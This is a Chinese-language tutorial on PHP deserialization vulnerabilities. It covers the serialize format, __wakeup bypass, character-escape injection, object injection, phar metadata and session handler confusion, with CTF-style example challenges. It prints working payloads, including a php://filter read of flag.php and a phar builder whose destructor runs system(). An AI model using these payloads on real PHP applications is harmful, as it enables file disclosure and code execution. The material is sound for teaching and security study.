PHP反序列化漏洞

序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。php 将数据序列化和反序列化会用到两个函数:serialize 将对象格式化成有序的字符串;unserialize 将字符串还原成原来的对象。序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

一,序列化的格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$user=array('xiao','shi','zi');
$user=serialize($user);
echo($user.PHP_EOL);
print_r(unserialize($user));

/*
输出:
a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
Array
(
[0] => xiao
[1] => shi
[2] => zi
)

a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
a:array代表是数组,后面的3说明有三个属性
i:代表是整型数据int,后面的0是数组下标
s:代表是字符串,后面的4是因为xiao长度为4
依次类推
*/

序列化后的内容只有成员变量,没有成员函数,比如下面的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class test{
public $a;
public $b;
function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
?>

/*
输出:
O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}
1
2
3
4
5
6
7
8
9
O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}

O : 自定义对象 object
4 : 类名的长度
:2 : 2个成员属性
S:1 : a的成员属性名 长度为1 ,并且是一个字符串 string
S:9 : a所对应的值 是string类型,并且长度是9
s:1 : b的成员属性名 长度为1 ,并且是一个字符串 string
S:9 : b所对应的值 是string类型,并且长度是8

而如果变量前是protected,则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00,输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class test{
protected $a;
private $b;
function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
echo urlencode(serialize($a));
?>

/*
输出:
O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";}
*/
//这个$a是一个受保护的属性,特征就是\x00*\x00 号
//因为$b为私有的所以要在属性名前加类名 " test b"

反序列化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class test{
public $name = 'baobao';
protected $money = '199';
private $key = false;
public function say(){
echo $this->name;
}
}

$a = 'O:4:"test":3:{s:4:"name";s:6:"caocao";s:8:"%00*%00money";s:3:"199";s:9:"%00test%00key";b:0;}';
$b = urldecode($a);
$d = unserialize($b);
$d->say();
//输出caocao (在调用say成员方法时,test类必须存在)

反序列化中常见的魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__construct:构造函数,会在每次创建新对象时先调用此方法
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

二,反序列化漏洞利用

1、php7.1+反序列化对类属性不敏感

前面说了如果变量前是protected,序列化结果会在变量名前加上\x00*\x00,但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有\x00*\x00也依然会输出abc。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

#输出:abc

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

在代码中我们可以注意到危险函数file_get_contents把整个文件读入一个字符串中),当在process()方法中的$this->op == “2”时,就会走到$res = $this->read(),调用file_get_contents()方法,如何调用process()方法呢?

__construct()中的$op 被固定为了1,而在__destruct()中所调用的op我们可以利用反序列化漏洞进行修改为2,但代码中存在限制

两个绕过:1.__destruct()中要求op!===2且process()中要求op==2

因为 __destruct()中的if判断为===,所以可以改完$op=”2”,这样就可以绕过if,进入process()中,且process()方法中的判断为==(弱类型)

2.绕过is_valid()函数,private和protected属性经过序列化都存在不可打印字符在32-125之外,但是对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class FileHandler {
public $op = "2";
public $filename = "/var/www/html/flag.php";
public $content;
}
$obj = new FileHandler();
echo serialize($obj);
?>
/*输出:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:22:"/var/www/html/flag.php";s:7:"content";N;}
*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class FileHandler {

public $op="2";
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;

}

$obj = new FileHandler();
echo serialize($obj);
?>
/*输出:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
*/

2、绕过__wakeup

1
2
3
版本:
PHP5 < 5.6.25
PHP7 < 7.0.10

利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。

对于下面这样一个自定义类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __wakeup(){
$this->a='666';
}
public function __destruct(){
echo $this->a;
}
}
$t='O:4:"test":1:{s:1:"a";s:4:"yyds";}';
unserialize($t);

如果执行unserialize(‘O:4:”test”:1:{s:1:”a”;s:4:”yyds”;}’);输出结果为666;

而把对象属性个数的值增大执行unserialize(‘O:4:”test”:2:{s:1:”a”;s:4:”yyds”;}’);输出结果为yyds。

3、绕过部分正则

preg_match(‘/^O:\d+/‘)匹配序列化字符串是否是对象字符串开头

利用加号绕过

注意在url里传参时+要编码为%2B

1
2
3
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}'; //+号绕过 
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));

serialize( array( a) );

a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)

1
2
serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

利用引用使两值恒等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class test{
public $a;
public $b;
public function __construct(){
$this->a = 'abc';
$this->b= &$this->a;
}
public function __destruct(){

if($this->a===$this->b){
echo 666;
}
}
}
$a = serialize(new test());

上面这个例子将$b设置为$a的引用,可以使$a永远与$b相等

16进制绕过字符过滤

1
2
3
4
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。

4、反序列化字符逃逸

当开发者使用先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。

反序列化字符变多逃逸案例

假设我们先定义一个user类,然后里面一共有3个成员变量:username、password、isVIP。

1
2
3
4
5
6
7
8
9
10
11
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

可以看到当这个类被初始化的时候,isVIP变量默认是0,并且不受初始化传入的参数影响。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

$a = new user("admin","123456");
$a_seri = serialize($a);

echo $a_seri;
?>

这一段程序的输出结果如下:

1
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

可以看到,对象序列化之后的isVIP变量是0。

这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hacker",$s);
}

$a = new user("admin","123456");
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;
?>

这一段程序的输出为:

1
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

这个时候我们把这两个程序的输出拿出来对比一下:

1
2
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //未过滤
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤

可以看到已过滤字符串中的hacker与前面的字符长度不对应了

1
2
s:5:"admin";
s:5:"hacker";

在这个时候,对于我们,在新建对象的时候,传入的admin就是我们的可控变量

接下来明确我们的目标:将isVIP变量的值修改为1

首先我们将我们的现有子串和目标子串进行对比:

1
2
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串

也就是说,我们要在admin这个可控变量的位置,注入我们的目标子串。

首先计算我们需要注入的目标子串的长度:

1
2
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
//以上字符串的长度为47

因为我们需要逃逸的字符串长度为47,并且admin每次过滤之后都会变成hacker,也就是说每出现一次admin,就会多1个字符。

因此我们在可控变量处,重复47遍admin,然后加上我们逃逸后的目标子串,可控变量修改如下:

1
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hacker",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri;
echo '------------------------------------------------------------';
echo $a_seri_filter;
?>

输出结果为

1
2
3
O:4:"user":3:{s:8:"username";s:282:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
1
2
3
4
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
//282
hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
//282

遇到 } 结束,之后多出来的 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} 会被 忽略(不会报错,但也不会解析)。

程序输出如下:

1
2
3
4
5
6
7
8
object(user)#2 (3) {
["username"]=>
string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
["password"]=>
string(6) "123456"
["isVIP"]=>
int(1)
}

可以看到这个时候,isVIP这个变量就变成了1,反序列化字符逃逸的目的也就达到了。

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
highlight_file(__FILE__);
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
unserialize(filter(serialize(new a($uname,$password))));
?>

payload为

1
FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

过滤后字符变少

首先,和上面的主体代码还是一样,还是同一个class,与之有区别的是过滤函数中,我们将hacker修改为hack。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

$a = new user('admin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;
?>

输出结果:

1
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

同样比较一下现有子串和目标子串:

1
2
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串

因为过滤的时候,将5个字符删减为了4个,所以和上面字符变多的情况相反,随着加入的admin的数量增多,现有子串后面会缩进来。

计算一下目标子串的长度:

1
2
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
//长度为47

再计算一下到下一个可控变量的字符串长度:

1
2
";s:8:"password";s:6:"
//长度为22

因为每次过滤的时候都会少1个字符,因此我们先将admin字符重复22遍(这里的22遍不像字符变多的逃逸情况精确,后面可能会需要做调整)

完整代码如下:(这里的变量里一共有22个admin)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;
?>

输出结果:

1
O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

注意:PHP反序列化的机制是,比如如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。

这里我们需要仔细看一下s后面是110,也就是说我们需要读取到110个字符。从第一个引号开始,110个字符如下:

1
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"

也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串

1
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串

完整代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;
?>

选中部分一共有111个字符,

造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确

解决办法是:多添加1个admin,这样就可以补上缺少的字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;
?>

分析一下输出结果:

1
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

三、对象注入

当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。对象注入类似于一个利用反序列化魔术方法进行变量覆盖的过程。

对象漏洞出现得满足两个前提

1、unserialize的参数可控。2、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。

给出一个案例帮助理解

1
2
3
4
5
6
7
8
9
<?php
class A{
var $test = "y4mao";
function __destruct(){
echo $this->test;
}
}
$a = 'O:1:"A":1:{s:4:"test";s:5:"maomi";}';
unserialize($a);

在脚本运行结束后便会调用_destruct函数,同时会覆盖test变量输出maomi

四、phar反序列化

phar,全称为PHP Archive,phar扩展提供了一种将整个PHP应用程序放入.phar文件中的方法,以方便移动、

安装。.phar文件的最大特点是将几个文件组合成一个文件的便捷方式,.phar文件提供了一种将完整的PHP程

序分布在一个文件中并从该文件中运行的方法。

1、phar文件结构

1、stub

一个供phar扩展用于识别的标志,格式为xxx,前面内容不限,但必须以

__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2、manifest

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列

化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。

3、contents

被压缩文件的内容。

4、signature

签名,放在文件末尾

2、利用方法

可利用原因:

使用phar://伪协议解析phar文件时对meta-data进行反序列化操作

利用方法:

将要序列化的内容写入meta-data中,再使用phar伪协议进行反序列化。首先需要生成phar文件,

在php的配置文件中需要设置phar.readonly= Off。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class A {
public $a;

public function __destruct()
{
system($this->a);
}
}
$a = new A();
$a->a='ls';
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

五、session反序列化

1、序列化和反序列化session机制

在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。

当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

除此之外,还需要知道session_start()这个函数已经这个函数所起的作用:

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

session 的存储机制php中的session中的内容不是放在内存中,而是以文件的方式来存储,存储方式由配置项session.save_handler来进行确定,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的。

常见的session存储路径:

1
2
3
4
5
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

php.ini中一些session配置:

1
2
3
4
session.save_path="" --设置session的存储路径
session.save_handler=""–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string–定义用来序列化/反序列化session的处理器名字。默认使用php

2、session反序列化简单利用

session反序列化的漏洞是由三种不同的反序列化引擎所产生的的漏洞:

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

三种引擎的存储格式:

1
2
3
php : a|s:3:"wzk";
php_serialize : a:1:{s:1:"a";s:3:"wzk";}
php_binary : as:3:"wzk";

样例源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
//ini_set('session.serialize_handler', 'php');
ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "";
var_dump($_SESSION);
echo "";
?>
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class student{
var $name;
var $age;
function __wakeup(){
echo "hello ".$this->name."!";
}
}
?>

攻击思路:

首先访问1.php,在传入的参数最开始加一个’|’,由于1.php是使用php_serialize引擎处理,因此只会把’|’当做一个正常的字符。然后访问2.php,由于用的是php引擎,因此遇到’|’时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对’|’后的值进行反序列化处理。

这里可能会有一个小疑问,为什么在解析session文件时直接对’|’后的值进行反序列化处理,这也是处理器的功能?这个其实是因为session_start()这个函数

首先生成一个payload:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class student{
var $name;
var $age;
}
$a = new student();
$a->name = "daye";
$a->age = "100";
echo serialize($a);
?>

#O:7:"student":2:{s:4:"name";s:4:"daye";s:3:"age";s:3:"100";}

攻击思路中说到了因为不同的引擎会对’|’,产生歧义,所以在传参时在payload前加个’|’,作为a参数

payload:

1
|O:7:"student":2:{s:4:"name";s:4:"daye";s:3:"age";s:3:"100";}

成功触发了student类的__wakeup()方法,所以这种攻击思路是可行的。

3、利用session.upload_progress进行反序列化攻击

在PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对,值中刚好存在用户可控的部分,可以看下官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度。

当题目中没有上面类似于PHP1写入$_SESSION全局变量时,可以利用session.upload_progress进行反序列化攻击。这种攻击方法与上一部分基本相同,不过这里需要先上传文件,同时POST一个与session.upload_process.name的同名变量(一般为PHP_SESSION_UPLOAD_PROGRESS)。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键。所以攻击点还是跟上一部分一模一样,程序还是使用了不同的session处理引擎。